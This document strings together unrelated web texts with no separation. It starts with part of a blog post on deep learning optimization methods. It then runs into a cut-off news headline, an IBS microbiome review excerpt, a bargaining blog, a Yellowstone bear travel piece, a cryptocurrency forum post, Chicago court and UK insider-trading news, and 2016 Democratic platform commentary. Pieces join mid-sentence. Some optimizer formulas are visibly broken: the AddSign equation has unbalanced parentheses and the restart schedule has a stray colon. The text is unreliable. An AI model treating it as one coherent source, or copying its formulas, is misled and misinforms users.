where \(m_t\) and \(\hat{m}_t\) and \(v_t\) and \(\hat{v}_t\) are the biased and bias-corrected estimates of the first and second moments respectively and \(\beta_1\) and \(\beta_2\) are their decay rates, with the same weight decay term added to it. The authors show that this substantially improves Adam’s generalization performance and allows it to compete with SGD with momentum on image classification datasets.
In addition, it decouples the choice of the learning rate from the choice of the weight decay, which enables better hyperparameter optimization as the hyperparameters no longer depend on each other. It also separates the implementation of the optimizer from the implementation of the weight decay, which contributes to cleaner and more reusable code (see e.g. the fast.ai AdamW/SGDW implementation).
Fixing the exponential moving average
Several recent papers (Dozat and Manning, 2017; Laine and Aila, 2017), empirically find that a lower \(\beta_2\) value, which controls the contribution of the exponential moving average of past squared gradients in Adam, e.g. \(0.99\) or \(0.9\) vs. the default \(0.999\) worked better in their respective applications, indicating that there might be an issue with the exponential moving average.
An ICLR 2018 submission formalizes this issue and pinpoints the exponential moving average of past squared gradients as another reason for the poor generalization behaviour of adaptive learning rate methods. Updating the parameters via an exponential moving average of past squared gradients is at the heart of adaptive learning rate methods such as Adadelta, RMSprop, and Adam. The contribution of the exponential average is well-motivated: It should prevent the learning rates to become infinitesimally small as training progresses, the key flaw of the Adagrad algorithm. However, this short-term memory of the gradients becomes an obstacle in other scenarios.
In settings where Adam converges to a suboptimal solution, it has been observed that some minibatches provide large and informative gradients, but as these minibatches only occur rarely, exponential averaging diminishes their influence, which leads to poor convergence. The authors provide an example for a simple convex optimization problem where the same behaviour can be observed for Adam.
To fix this behaviour, the authors propose a new algorithm, AMSGrad that uses the maximum of past squared gradients rather than the exponential average to update the parameters. The full AMSGrad update without bias-corrected estimates can be seen below:
\(
\begin{align}
\begin{split}
m_t &= \beta_1 m_{t-1} + (1 - \beta_1) g_t \\
v_t &= \beta_2 v_{t-1} + (1 - \beta_2) g_t^2\\
\hat{v}_t &= \text{max}(\hat{v}_{t-1}, v_t) \\
\theta_{t+1} &= \theta_{t} - \dfrac{\eta}{\sqrt{\hat{v}_t} + \epsilon} m_t
\end{split}
\end{align}
\)
The authors observe improved performance compared to Adam on small datasets and on CIFAR-10.
Tuning the learning rate
In many cases, it is not our models that require improvement and tuning, but our hyperparameters. Recent examples for language modelling demonstrate that tuning LSTM parameters (Melis et al., 2017) and regularization parameters (Merity et al., 2017) can yield state-of-the-art results compared to more complex models.
An important hyperparameter for optimization in Deep Learning is the learning rate \(\eta\). In fact, SGD has been shown to require a learning rate annealing schedule to converge to a good minimum in the first place. It is often thought that adaptive learning rate methods such as Adam are more robust to different learning rates, as they update the learning rate themselves. Even for these methods, however, there can be a large difference between a good and the optimal learning rate (psst... it's \(3e-4\)).
Zhang et al. (2017) show that SGD with a tuned learning rate annealing schedule and momentum parameter is not only competitive with Adam, but also converges faster. On the other hand, while we might think that the adaptivity of Adam's learning rates might mimic learning rate annealing, an explicit annealing schedule can still be beneficial: If we add SGD-style learning rate annealing to Adam, it converges faster and outperforms SGD on Machine Translation (Denkowski and Neubig, 2017).
In fact, learning rate annealing schedule engineering seems to be the new feature engineering as we can often find highly-tuned learning rate annealing schedules that improve the final convergence behaviour of our model. An interesting example of this is Vaswani et al. (2017). While it is usual to see a model's hyperparameters being subjected to large-scale hyperparameter optimization, it is interesting to see a learning rate annealing schedule as the focus of the same attention to detail: The authors use Adam with \(\beta_1=0.9\), a non-default \(\beta_2=0.98\), \(\epsilon = 10^{-9}\), and arguably one of the most elaborate annealing schedules for the learning rate \(\eta\):
\(\eta = d_\text{model}^{-0.5} \cdot \min(step\text{_}num^{-0.5}, step\text{_}num \cdot warmup\text{_}steps^{-1.5}) \)
where \(d_\text{model}\) is the number of parameters of the model and \(warmup\text{_}steps = 4000\).
Another recent paper by Smith et al. (2017) demonstrates an interesting connection between the learning rate and the batch size, two hyperparameters that are typically thought to be independent of each other: They show that decaying the learning rate is equivalent to increasing the batch size, while the latter allows for increased parallelism. Conversely, we can reduce the number of model updates and thus speed up training by increasing the learning rate and scaling the batch size. This has ramifications for large-scale Deep Learning, which can now repurpose existing training schedules with no hyperparameter tuning.
Warm restarts
SGD with restarts
Another effective recent development is SGDR (Loshchilov and Hutter, 2017), an SGD alternative that uses warm restarts instead of learning rate annealing. In each restart, the learning rate is initialized to some value and is scheduled to decrease. Importantly, the restart is warm as the optimization does not start from scratch but from the parameters to which the model converged during the last step. The key factor is that the learning rate is decreased with an aggressive cosine annealing schedule, which rapidly lowers the learning rate and looks like the following:
\(\eta_t = \eta_{min}^i + \dfrac{1}{2}(\eta_{max}^i - \eta_{min}^i)(1 + \text{cos}(\dfrac{T_{cur}}{T_i}\pi)) \)
where \(\eta_{min}^i\) and \(\eta_{max}^i\) are ranges for the learning rate during the \(i\)-th run, \(T_{cur}\) indicates how many epochs passed since the last restart, and \(T_i\) specifies the epoch of the next restart. The warm restart schedules for \(T_i=50\), \(T_i=100\), and \(T_i=200\) compared with regular learning rate annealing are shown in Figure 1.
Figure 1: Learning rate schedules with warm restarts (Loshchilov and Hutter, 2017)
The high initial learning rate after a restart is used to essentially catapult the parameters out of the minimum to which they previously converged and to a different area of the loss surface. The aggressive annealing then enables the model to rapidly converge to a new and better solution. The authors empirically find that SGD with warm restarts requires 2 to 4 times fewer epochs than learning rate annealing and achieves comparable or better performance.
Learning rate annealing with warm restarts is also known as cyclical learning rates and has been originally proposed by Smith (2017). Two more articles by students of fast.ai (which has recently started to teach this method) that discuss warm restarts and cyclical learning rates can be found here and here.
Snapshot ensembles
Snapshot ensembles (Huang et al., 2017) are a clever, recent technique that uses warm restarts to assemble an ensemble essentially for free when training a single model. The method trains a single model until convergence with the cosine annealing schedule that we have seen above. It then saves the model parameters, performs a warm restart, and then repeats these steps \(M\) times. In the end, all saved model snapshots are ensembled. The common SGD optimization behaviour on an error surface compared to the behaviour of snapshot ensembling can be seen in Figure 2.
Figure 2: SGD vs. snapshot ensemble (Huang et al., 2017)
The success of ensembling in general relies on the diversity of the individual models in the ensemble. Snapshot ensembling thus relies on the cosine annealing schedule's ability to enable the model to converge to a different local optimum after every restart. The authors demonstrate that this holds in practice, achieving state-of-the-art results on CIFAR-10, CIFAR-100, and SVHN.
Adam with restarts
Warm restarts did not work originally with Adam due to its dysfunctional weight decay, which we have seen before. After fixing weight decay, Loshchilov and Hutter (2017) similarly extend Adam to work with warm restarts. They set \(\eta_{min}^i=0\) and \(\eta_{max}^i=1\), which yields:
\(\eta_t = 0.5 + 0.5 : \text{cos}(\dfrac{T_{cur}}{T_i}\pi))\)
They recommend to start with an initially small \(T_i\) (between \(1%\) and \(10%\) of the total number of epochs) and multiply it by a factor of \(T_{mult}\) (e.g. \(T_{mult}=2\)) at every restart.
Learning to optimize
One of the most interesting papers of last year (and reddit's "Best paper name of 2016" winner) was a paper by Andrychowicz et al. (2016) where they train an LSTM optimizer to provide the updates to the main model during training. Unfortunately, learning a separate LSTM optimizer or even using a pre-trained LSTM optimizer for optimization greatly increases the complexity of model training.
Another very influential learning-to-learn paper from this year uses an LSTM to generate model architectures in a domain-specific language (Zoph and Quoc, 2017). While the search process requires vast amounts of resources, the discovered architectures can be used as-is to replace their existing counterparts. This search process has proved effective and found architectures that achieve state-of-the-art results on language modeling and results competitive with the state-of-the-art on CIFAR-10.
The same search principle can be applied to any other domain where key processes have been previously defined by hand. One such domain are optimization algorithms for Deep Learning. As we have seen before, optimization algorithms are more similar than they seem: All of them use a combination of an exponential moving average of past gradients (as in momentum) and of an exponential moving average of past squared gradients (as in Adadelta, RMSprop, and Adam) (Ruder, 2016).
Bello et al. (2017) define a domain-specific language that consists of primitives useful for optimization such as these exponential moving averages. They then sample an update rule from the space of possible update rules, use this update rule to train a model, and update the RNN controller based on the performance of the trained model on the test set. The full procedure can be seen in Figure 3.
Figure 3: Neural Optimizer Search (Bello et al., 2017)
In particular, they discover two update equations, PowerSign and AddSign. The update equation for PowerSign is the following:
\( \theta_{t+1} = \theta_{t} - \alpha^{f(t)*
\text{sign}(g_t)*\text{sign}(m_t)}*g_t \)
where \(\alpha\) is a hyperparameter that is often set to \(e\) or \(2\), \(f(t)\) is either \(1\) or a decay function that performs linear, cyclical or decay with restarts based on time step \(t\), and \(m_t\) is the moving average of past gradients. The common configuration uses \(\alpha=e\) and no decay. We can observe that the update scales the gradient by \(\alpha^{f(t)}\) or \(1/\alpha^{f(t)}\) depending on whether the direction of the gradient and its moving average agree. This indicates that this momentum-like agreement between past gradients and the current one is a key piece of information for optimizing Deep Learning models.
AddSign in turn is defined as follows:
\( \theta_{t+1} = \theta_{t} - \alpha + f(t) * \text{sign}(g_t) * \text{sign}(m_t)) * g_t\)
with \(\alpha\) often set to \(1\) or \(2\). Similar to the above, this time the update scales \(\alpha + f(t)\) or \(\alpha - f(t)\) again depending on the agreement of the direction of the gradients. The authors show that PowerSign and AddSign outperform Adam, RMSprop, and SGD with momentum on CIFAR-10 and transfer well to other tasks such as ImageNet classification and machine translation.
Understanding generalization
Optimization is closely tied to generalization as the minimum to which a model converges defines how well the model generalizes. Advances in optimization are thus closely correlated with theoretical advances in understanding the generalization behaviour of such minima and more generally of gaining a deeper understanding of generalization in Deep Learning.
However, our understanding of the generalization behaviour of deep neural networks is still very shallow. Recent work showed that the number of possible local minima grows exponentially with the number of parameters (Kawaguchi, 2016). Given the huge number of parameters of current Deep Learning architectures, it still seems almost magical that such models converge to solutions that generalize well, in particular given that they can completely memorize random inputs (Zhang et al., 2017).
Keskar et al. (2017) identify the sharpness of a minimum as a source for poor generalization: In particular, they show that sharp minima found by batch gradient descent have high generalization error. This makes intuitive sense, as we generally would like our functions to be smooth and a sharp minima indicates a high irregularity in the corresponding error surface. However, more recent work suggests that sharpness may not be such a good indicator after all by showing that local minima that generalize well can be made arbitrarily sharp (Dinh et al., 2017). A Quora answer by Eric Jang also discusses these articles.
An ICLR 2018 submission demonstrates through a series of ablation analyses that a model's reliance on single directions in activation space, i.e. the activation of single units or feature maps is a good predictor of its generalization performance. They show that this holds across models trained on different datasets and for different degrees of label corruption. They find that dropout does not help to resolve this, while batch normalization discourages single direction reliance.
While these findings indicate that there is still much we do not know in terms of Optimization for Deep Learning, it is important to remember that convergence guarantees and a large body of work exists for convex optimization and that existing ideas and insights can also be applied to non-convex optimization to some extent. The large-scale optimization tutorial at NIPS 2016 provides an excellent overview of more theoretical work in this area (see the slides part 1, part 2, and the video).
Conclusion
I hope that I was able to provide an impression of some of the compelling developments in optimization for Deep Learning over the past year. I've undoubtedly failed to mention many other approaches that are equally important and noteworthy. Please let me know in the comments below what I missed, where I made a mistake or misrepresented a method, or which aspect of optimization for Deep Learning you find particularly exciting or underexplored.
Hacker News
You can find the discussion of this post on HN here.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
April 28, 2017, 1:22 AM GMT / Updated April 28, 2017, 2:01 AM GMT By Nikita Biryukov
Wells Fargo employees were instructed to "round up" immigrants |
stimulus in IBS patients compared to controls. Many studies have also shown that those with IBS have amplified visceral sensitivity in response to stress70 or food intake.71 For example, patients with IBS had enhanced modulation of visceral perception when subjected to auditory or mental stress.72,73 Patients with IBS frequently have accompanying psychological disorders, such as anxiety or depression, and those with psychological stress are more likely to develop post-infectious IBS. Abnormal bowel gas accumulation may be linked to bacterial metabolism and abdominal bloating and may be further associated with visceral hypersensitivity and the impaired gas handling observed in some IBS patients.74 For example, Serra et al75 reported that IBS patients have impaired transit and altered tolerance of intestinal gas. Koide and colleagues76 demonstrated excessive bowel gas volume among IBS subjects; however, in their symptoms did not correlate with abnormal bowel gas accumulation suggesting that gas production is not the only factor impacting symptom elicitation. IBS patients show an altered profile of gut microbiota composition.77 Earlier studies found that the intestinal microbiota in IBS patients differs from that in healthy individuals, with a consistent decrease in the Bifidobacterium spp. population and an increase in the Enterobacter population.78 Other studies in patients with IBS have shown alterations in the microbiota, such as an increased ratio of Firmicutes to Bacteroidetes and a reduction in Lactobacillus species.79 Symptoms of IBS may be linked to those alterations. Similarly, in children with IBS the microbiome differs from normal children with a greater percentage of class gammaproteobacteria and a novel Ruminococcus-like microbe being found in the IBS patients.80 Recent research has focused on the role of gut microbiota in the pathophysiological pathway to infant colic, with numerous studies revealing differences in the gut microbiota between infants with and without colic.81–83 One study of L. reuteri ATCC 5573022 and two studies of L. reuteri DSM 17938.84,85 In breastfed infants with colic were effective, but a subsequent study of both breastfed and formula-fed infants with colic indicated L. reuteri DSM17938 to be ineffective.86 Thus, the effectiveness of pre- or probiotic therapies may vary depending upon the diet and other poorly defined factors including the pre-therapy microbiome composition. Treatment trials for IBS with probiotics have had varied results which are likely explained by the diversity of study populations, antibiotics or probiotics used, and the small size of most studies.87 Treatment with the probiotic L. acidophilus SDC 2012 for 4 weeks improved symptoms scores among IBS patients when compared to placebo treatment.87 Treatment of IBS with E. coli DSM 17252 for 8 weeks was reported to dramatically reduce abdominal pain.88 L. plantarum 299v has shown reductions in abdominal pain in 2 intervention studies.89,90 Whorwell and colleagues reported that B. infantis 35624 improved pain in 437 subjects with IBS symptoms.91 Treatment with the antibiotic rifaximin appears to benefit some patients with IBS92 but the population that benefits and efficacy of antibiotic treatment remains controversial.93 A study by Jeffery and colleagues94 showed dysbiosis (e.g. increased Firmicutes/Bacteroides ratio) in a subgroup of IBS patients, while the remaining patients had normal-like microbiota composition. In that study, microbiota analysis identified several clear associations with clinical data; however a distinct subset of IBS patients with alterations in their microbiota did not correspond to IBS subtypes. It is thus possible that normal-like microbiota group might be less responsive to the agents aimed at modulation of the microbiota and individualized characterization of the GI microbiota may direct treatment strategies in the future. The mechanisms by which altering the microbiome in the humans modifies visceral pain response remain undetermined but likely are similar to those described in in animal models of visceral pain as discussed above. In a recent study of healthy women, consumption of a mixture of probiotic bacteria in a fermented milk product affected the activity of brain regions that control the central processing of emotion and sensation.95 The ingestion of the ferment milk product had no discernible effect on microbiota composition in the study suggesting that the effects on central nervous system were either induced by altered vagal afferent signaling or by systemic metabolic changes related to pro-biotic intake.13 IBS subjects have been shown to have higher concentrations of Firmicutes and decrease of Bacteroides-associated taxa which are butyrate producers. 94 The abundance of Faecalibacterium species, which produce butyrate was reduced in IBS patients.96 Butyrate has been shown to decrease rectal pain perception in healthy individuals97 so it is possible that reductions in butyrate producing bacteria increases pain responses in IBS subjects. One of the most fascinating observations used the GF animal model to evaluate the effect of the human IBS microbiome on pain responses. Crouzet et al98 inoculated GF rats with IBS fecal suspension and showed an increased visceral sensitivity in response to colorectal distension compared with GF rats inoculated with fecal suspensions from healthy control group. In the same study, GF rats inoculated with IBS microbiota showed abnormal gut fermentation with increased hydrogen excretion and sulfides production vs controls.98 This led the authors to hypothesize that hydrogen and hydrogen sulfide may be bacterial metabolites responsible for visceral hypersensitivity.99 They note that, in mice, hydrogen sulfide directly triggers visceral nociceptive behavior through sensitization and activation of T-type channels in the primary afferents.100 Further work using combinations of bacterial metabolic pathway analysis and metabolomic analysis are likely to yield an increased understanding of the underlying mechanisms by which the microbiome may alter visceral pain responses in humans.
Summary The microbiome, gut and brain have a complex set of interactions that modulate responses to visceral pain. Various psychological, infectious and other stressors can disrupt this harmonious relationship and alter both the microbiome and visceral pain responses. Various approaches (probiotics and prebiotics) to restoring a less pathogenic microbiome appear to have promise to treat functional bowel disorders. It is possible that better management of dysbiosis during early life may prevent the development of life long changes in pain responsiveness. However, further research to better define the underlying mechanisms by which these effects are mediated is needed. This will likely lead to improved approaches for treating visceral pain by modifying the microbiome or preventing chronic pain by preemptive maintenance of a healthy microbiome.Ask for a discount, and you’ll almost always get a discount!
When you’re out shopping and want to save money, it never hurts to ask for a discount. I’m not sure why but many people associate this with begging for one reason or another, but I see it a bit differently. I’ve sold many things in the past and I know that there are many times that I choose a price but would be happy to consider an offer, so I can only imagine that other sellers of products could only feel the same way.
Big stores and small time sellers all feel the same way as well, this is the reason for clearance racks. All your doing is asking if this should actually be a clearance item.
Many times at smaller shops the prices are simply picked out of thin air, so you picking a new price out of thin air is just as acceptable a pricing process as they used, after all it your money.
Let’s take a look at a few great examples that come to mind. If your a bargain hunter yard sales and flea markets almost goes without saying, but I want to focus on a few areas that you may not realize you can gain a significant discount.
The Calculator
Wal-Mart or any other chain store for that matter. A while back we were shopping for a scientific calculator that was a must have on the school supplies list. We went to the calculator section of the local Wal-mart, and noticed that they only had one left. This wasn’t the ideal negotiating process, but it works to illustrate the idea.
The one calculator that they had left had been opened, and resealed. I told my daughter that we were going to have to get a discount on this, so we located the area manager of that section of the store, we told her that the package had been opened and she quickly said that there was no way to give a discount.
I said I guess that we are asking the wrong person. No problem that’s a point I wanted to make. You have to make sure that your talking to the right person.
We put it back in the cart and went about our shopping. Later we came across another manager that looked as though he had some clout and stopped him to let him know that we had a product that had been opened, we asked him if this item could be discounted, again this was no trouble we just happened to see him and decided to ask him. He gave a 5 dollar discount on the product.
A very good negotiator
Am I bragging? I don’t know but I want you to know that negotiating a new price is a respected art, one that you should feel comfortable using.
I was at a pawn shop not too long ago, this little shop unfortunately going out of business and was closing out all their merchandise. The way they were pricing items was simple, they had the original price on the item, 60 dollars for a camera, 12 dollars for a video game. They were clearly offering discount, a customer would bring a product up to the counter, the clerk and part owner would offer a new even lower price. And for the most part that was it. What I was surprised about was that no one was counter offering. It was a perfect place for a bit of negotiating as far as I could tell.
My process was to bring up a product and he would give me a new lower price, I would see that as a starting point for some price negotiating. I mean he was simply picking prices out of the blue.
I found a digital camera, it had a price of I believe 60 dollars, I brought it up to the counter as it was missing the software, and I knew I had a copy of it at home. It was similar the camera I already owned, just the newer version.
The new price he gave was only 20 dollars, not too bad if you consider it, but it’s in my nature to negotiate. I told him I would give him 10, in this case it was it was a no, and I knew he would say no, he offered 15, guess what I said? No deal. When he went to put it back in the case, I said take 12 for it. He took it and I had a new to me camera!
Well we went back and forth on many products, and I was able to get a ton a great deals.
What I didn’t realize was that he was impressed by the whole thing, my wife was shopping with me and as I was out shopping for great deals around the store, he mentioned to my wife, that I was a great negotiator and was impressed by my skill. She let me know this on the way home and to me it was quite a nice complement a pat on the back for a job well done.
The point is, it’s your money and you have just as much right to make a price for a product as the person offering it. I mean it’s your money and without you there wouldn’t be a sale at all, so you’re a 50% partner in the transaction and that gives you the right to assist with the pricing of the product.The National Park Service's management of bears in the park has evolved dramatically.
Looking for bison in Yellowstone National Park? No challenge. There are thousands of them. Bears? Not so easy to see anymore.
When I was 7, the last time I visited, people still fed bears from their cars, and rangers looked the other way. A black bear smudged its nose on the window of my family’s 1957 Chevy and us kids spent weeks renewing the smudge with a little spit in hopes of prolonging the prestige.
The park’s philosophy toward bears took a dramatic turnaround in 1970, I learned on a guided hike of Yellowstone’s Canyon area with Ranger Steve Cook. (Free ranger-led hikes are a great source of education about the park.)
At one point Cook asked our group to look at the trail and see what we found that was unusual. There were shards of old crockery. It wasn’t a Native American archaeological site. It was the site of a trash dump for nearby hotels and tourist camps from the early 20th century.
In those days, park staff and concessionaires treated bears like a circus attraction, and dumps played a part.
“They erected grandstands here, to see bears feeding at the dump, and the grizzlies all came,” Cook said. “A couple folks stood by with high-powered rifles in case anything went wrong, but it never did, because the bears were far more interested in the dinner at hand.”
It helped inspire the Yogi Bear cartoons, based in “Jellystone Park.”
But over the decades, park officials realized, Yellowstone bears were losing the knowledge of how to feed themselves, and had became reliant on handouts and begging. It wasn’t healthy for the bears or for the public, who tended to forget these were still wild animals with big teeth and claws, sometimes unpredictable.
In 1970, the park closed the trash dumps, cracked down on roadside feeding and enforced rules about securing trash and food.
The park’s bear population plummeted. But it has rebounded, with about 730 grizzlies in the greater Yellowstone ecosystem, and a healthy, growing population of black bears. You just don’t see them in campgrounds or begging on roadsides very often.
Today, rules are strict. Each time I’ve checked into a campground I’ve gotten “the bear talk.” On every picnic table in every campground is a placard reciting all the things that mustn’t be left outside or in a tent “unless they are in immediate use.” It’s draconian in its thoroughness: no ice chests, no stoves, no water containers “new, clean, dirty, empty or full.” No cosmetics or toiletries. No dirty dish water (which makes you think these bears must really be hard up). Nothing with any kind of interesting scent or that a bear might possibly conceive might contain his or her next meal. If you’re in a tent and have no car in which to stow your food, there are bear lockers.
Poor old Yogi will find no picnic baskets to steal in this modern park.
COMING UP: On readers’ advice, I’m heading out early tomorrow to the Lamar Valley to look for wolves and bears.I’m creating this topic first because I want to know what you all think about this and second, to help ease fears that Peercoiners might have when NuBits and this forum goes public.
So NuBits will be the world’s first stable cryptocurrency by solving price volatility, as opposed to Bitcoin and Peercoin, which can violently swing in price from day to day. As I started reading the whitepaper, Peercoin was described as a 2nd generation crypto while NuBits is a 3rd generation crypto, due to the advance in price stability. This part of the whitepaper struck me with fear, since most of my wealth is in Peercoin. Obviously I don’t want Peercoin to become an obsolete technology after I’ve put so much time and work into it. But I kept reading and realized that Peercoin does play a vital role in the new system. My concerns further evaporated when I started this thread to learn more about the dividend mechanism and how the network makes revenue.
In the Reddit sticky thread I made, I wrote an intro to Peercoin. In that intro is a section titled “microtransactions & off-chain networks”. I wrote this section to alleviate people’s fears that microtransactions will never be possible with Peercoin. I explained about how the 0.01 PPC/kb fee is designed to prevent blockchain bloat, but that microtransactions would still be possible by connecting Peercoin to off-chain networks. These off-chain networks would allow people to bypass the fee and transact with their Peercoins instantaneously. Now that I know what NuBits is though, I realize that this off-chain solution does not solve everything. It solves the problem of microtransactions with Peercoin, but it doesn’t do anything to solve price volatility. So Peercoin in the end would still be limited as a transactional currency by its volatility. NuBits solves this problem.
So the question I’m asking here is that if Peercoin is not destined to be used as a day to day transactional currency, what will its role be in the future cryptoeconomy? I understand it’s meant to be used for dividends in the NuBits system, but beyond that, what will Peercoin’s function be in the future, given that it cannot be used for day to day transactions. What is Peercoin’s purpose and what will its future role be?A Cook County judge on Wednesday shot down an effort by a Chicago police commander charged with assaulting a suspect to bar key DNA evidence that appears to back up prosecutors' account of the incident.
Attorneys for Glenn Evans had sought to throw out DNA evidence taken from the barrel of his service weapon, alleging the commander did not give legal consent since a superior officer ordered him to hand over the gun. Evans is charged with aggravated battery and official misconduct for allegedly shoving the barrel of his gun down a suspect's throat and threatening to kill him.
Prosecutors have said a crime lab analysis found the alleged victim's DNA on the barrel of Evans' gun.
In denying the defense motion, Judge Diane Cannon said Evans acted no differently than an officer turning over his service weapon after a police shooting.
"They didn't break into his home in the middle of the night" and take his gun, the judge said. "This is a police commander who voluntarily handed over his gun that was allegedly used in the crime," she said. "... As a police officer he gave up certain rights."
Cannon, who will decide Evans' fate once the case goes to trial, then offered this: "Who would hand over evidence of a crime willingly?"
Evans' attorney, Laura Morask, also argued the search violated her client's constitutional rights to privacy since he purchased the gun and it was his property. Cannon made her decision before prosecutors presented any oral arguments.
Judge allows DNA evidence to be used in Glenn Evans assault trial. August 5, 2015. (WGN-TV) Judge allows DNA evidence to be used in Glenn Evans assault trial. August 5, 2015. (WGN-TV) SEE MORE VIDEOS
Cannon said that later this month she will turn over documents she believes are relevant to the criminal case from a related investigation by the city inspector general's office and the Independent Police Review Authority, the city agency that investigates excessive-force allegations against Chicago police.
Prosecutors have said Evans was patrolling on a January afternoon in 2013 in the Park Manor neighborhood because of a recent shooting.
Evans said he saw Rickey Williams, then 22, holding a blue steel handgun while he stood near a bus stop in the 500 block of East 71st Street.
Williams has denied being armed and instead contended that Evans had pulled up in a squad car and stared at him for several minutes. Unnerved, he took off running, he said.
Evans radioed for assistance for a "man with a gun" and gave chase on foot as Williams ducked into an abandoned house.
A lawsuit brought by Williams alleged that as many as 10 other officers responded to the scene.
Prosecutors allege that Evans tackled Williams in the abandoned house, stuck the barrel of his.45-caliber Smith & Wesson semi-automatic "deep down" Williams' throat, held a Taser to his groin and threatened to kill him.
"Mother------, tell me where the guns are," prosecutors quoted Evans as saying.
Police conducted what prosecutors called "a systematic search" of the house and surrounding area but found no gun. Still, Williams was charged with misdemeanor reckless conduct.
Williams did not seek medical attention, but prosecutors said he suffered severe soreness to his throat for several days.
The next day, Williams contacted the police review authority and filed a complaint against Evans, making the allegations about the gun, Taser and death threat.
The misdemeanor charge against Williams was dropped almost three months later when no officers appeared in court.
After the state crime lab recovered Williams' DNA from Evans' service weapon, the review authority recommended to Superintendent Garry McCarthy in April 2014 that Evans be removed from his commander's post. But McCarthy, who had publicly praised Evans for his aggressive style and promoted him, kept Evans in place until hours before he was charged last August. Evans has been on paid desk duty since then.
sschmadeke@tribpub.com
Twitter @SteveSchmadekeQueen's stockbroker raided by police and city watchdogs in biggest ever crackdown on insider trading
The Queen's stockbroker Cazenove has been caught up in Britain's biggest ever crackdown on insider trading.
Eight people were arrested in dawn raids yesterday by the City watchdog the Financial Services Authority.
Cazenove admitted that one of the arrested worked at its London offices as a sub-contractor.
A 40-strong team from the FSA swooped on addresses in London and the South East with back-up from City of London police.
Cazenove, the Queen's stockbroker, has been at the centre of police raids into insider trading
They are believed to have seized computers and paperwork.
The FSA says insider dealing - in which privileged information is used to make profits from share prices - is rife among financial institutions.
Yesterday's swoop is the fourth this year, and the watchdog warns that more are to come as part of a'major ongoing investigation'.
The news is further embarrassment for Cazenove, which only last week had its reputation sullied over insider dealing allegations.
Malcolm Calvert, 64, a former trader and partner of Cazenove, was charged with 12 counts of insider dealing involving £1million worth of shares. He denies the charges.
A spokesman for Cazenove said last night: 'We can confirm that a sub-contractor in a support function for Cazenove was one of the eight people arrested by the FSA.'
The prestigious bank can trace its history back to the 17th century.
Staffed by public schoolboys and with an impressive list of clients, it played an important part in the round of privatisations in the 1980s.
In 2004 it joined forces with U.S. giant JP Morgan to create one of Britain's leading investment banks.
Another of the arrested is from Swiss bank UBS. The bank said the person involved was a junior member of staff, who had now been suspended.
The FSA believes that as many as a quarter of all mergers and takeovers of companies in the UK involve insider trading.
Financial crime makes millions of pounds for those involved at the expense of honest investors who buy shares in companies in good faith.
But the U.S. has a much better record for bringing people to justice for insider trading than the UK.
One tool it uses to huge success is the power to grant immunity, which is very useful in breaking up insider dealing rings.
The FSA has no such powers and many cases collapse because of lack of evidence. It is now lobbying the Government to increase its powers.After officially losing the Democratic primary after the California primary on June 7—I say “officially” because the writing had been on the wall at least since the voting in New York—Bernie Sanders shifted his attention to the Democratic platform. The new strategy was to use his influence, measured by the millions of voters that gave him 45 percent of the overall total, to push progressive policies that might not have been included otherwise. As a concession to Sanders, and a sign that he still held some sway, the DNC allowed him to name five delegates to the platform drafting committee that met last Friday in St. Louis. Clinton named six, and DNC chair Debbie Wasserman-Schultz—a strong Clinton ally, long despised by Sanders supporters—named four.
Any proposals adopted in this meeting would be non-binding. They’d still have to be approved by the full platform committee in Orlando next month, and then voted in at the actual convention in Philadelphia. Even then, they’d function as party guidelines only—a potential President Clinton wouldn’t be obligated to follow through.
With that in mind, Sanders withheld his endorsement as his surrogates fought to incorporate his ideas into the party platform. He has stated that he’ll vote for Clinton, and has been vocal in his opposition to Donald Trump, but he also understood that a public endorsement would both undermine his power—which is based entirely on those loyal voters who don’t yet trust Clinton, many of whom he could eventually deliver—and invalidate him as a political force as he struggled to push Clinton to the left.
The results at the meeting in St. Louis were mixed. The Sanders allies successfully introduced language to expand and protect social security, to introduce a 21st century Glass-Steagall in order to break up the big banks, to abolish the death penalty, and to advocate for a $15-per-hour minimum wage (though the Clinton camp refused to make this number universally mandated or tie it to inflation, by an 8-6 vote). None of these positions would have been possible without Sanders’ influence, as they have been at least partially opposed by Clinton in the course of her campaign.
On the other hand, the Sanders camp was out-gunned on many big issues. A measure to oppose the Trans-Pacific Partnership—a position taken by both Sanders and Clinton in the primary campaign—was voted down along “party lines,” 10-5, with the justification that it would “undermine” President Obama’s situation…a clear indication that Clinton’s opposition was purely opportunistic—a way to out-flank Sanders on the left, rather than a position she intended to hold beyond the primary. Nor did the Clinton/Wasserman-Schultz bloc support a carbon tax or a ban on fracking and new fossil fuel drilling leases on federal land and water (these all failed by 7-6 votes), medicare-for-all, or an end to the Israeli occupation of Palestine.
If you’re a progressive Democrat, these last few results are pretty heartbreaking. What it means is that if you support the party establishment, you also support fracking, carbon emissions, free trade, an aggressive Israeli state, and limited health care—at least in the sense that you’ve vowed not to fight against any of these things, which already enjoy prominence within the status quo and are certainly not disappearing on their own. When you consider the fact that there are no other realistic progressive options in the American political landscape with a prayer of winning major national elections, the situation starts to look pretty bleak.
Now, as a response to the Clinton intransigence on those issues, Sanders did what you’d expect—he continued to withhold his endorsement. His influence may be waning, but the surest way to lose it completely is to cave, at which point he would be totally ignored. Here’s what he said in a statement, after praising the progress that was made:
“Unfortunately, however, the platform drafting committee voted down some very important provisions. Despite Secretary Clinton’s opposition, as a candidate for president, to the Trans-Pacific Partnership, her supporters in St. Louis voted down a proposal to keep the trade deal from coming up for a vote in Congress. The Clinton delegates also voted down definitive language to raise the federal minimum wage to $15 an hour. Despite the growing crisis of climate change, they voted against a tax on carbon, against a ban on fracking and against against a requirement for 100 percent clean energy by 2050.”
“The platform drafted in St. Louis is a very good start, but there is no question that much more work remains to be done by the full Platform Committee when it meets in Orlando on July 8 and 9. We intend to do everything we can to rally support for our amendments in Orlando and if we fail there to take the fight to the floor of the convention in Philadelphia.
Pretty standard strategy: Use whatever power remains to fight for progressive policy concessions. If he fails, he fails, but what other options are available? There are still many Sander supporters who are hesitant to throw their support to Clinton, and those voters are his leverage. Why deliver them to Clinton for nothing?
Now let’s turn to Clinton supporters. At this point in the process, with their candidate having secured victory, you’d expect them to be happy. They won! Their candidate gets to run for president, and will probably win again in November! Maybe—maybe—they’d see Sanders’ continued activism as a nuisance, if they believed wholeheartedly in Clinton’s centrism. Even that seems ungrateful, since it’s obvious to everyone paying attention that Sanders is going to endorse in plenty of time for the general election, and that whatever squabbles continue in the short term will be months in the rearview mirror when it counts. There’s no reason to be anything but delighted at the outcome so far.
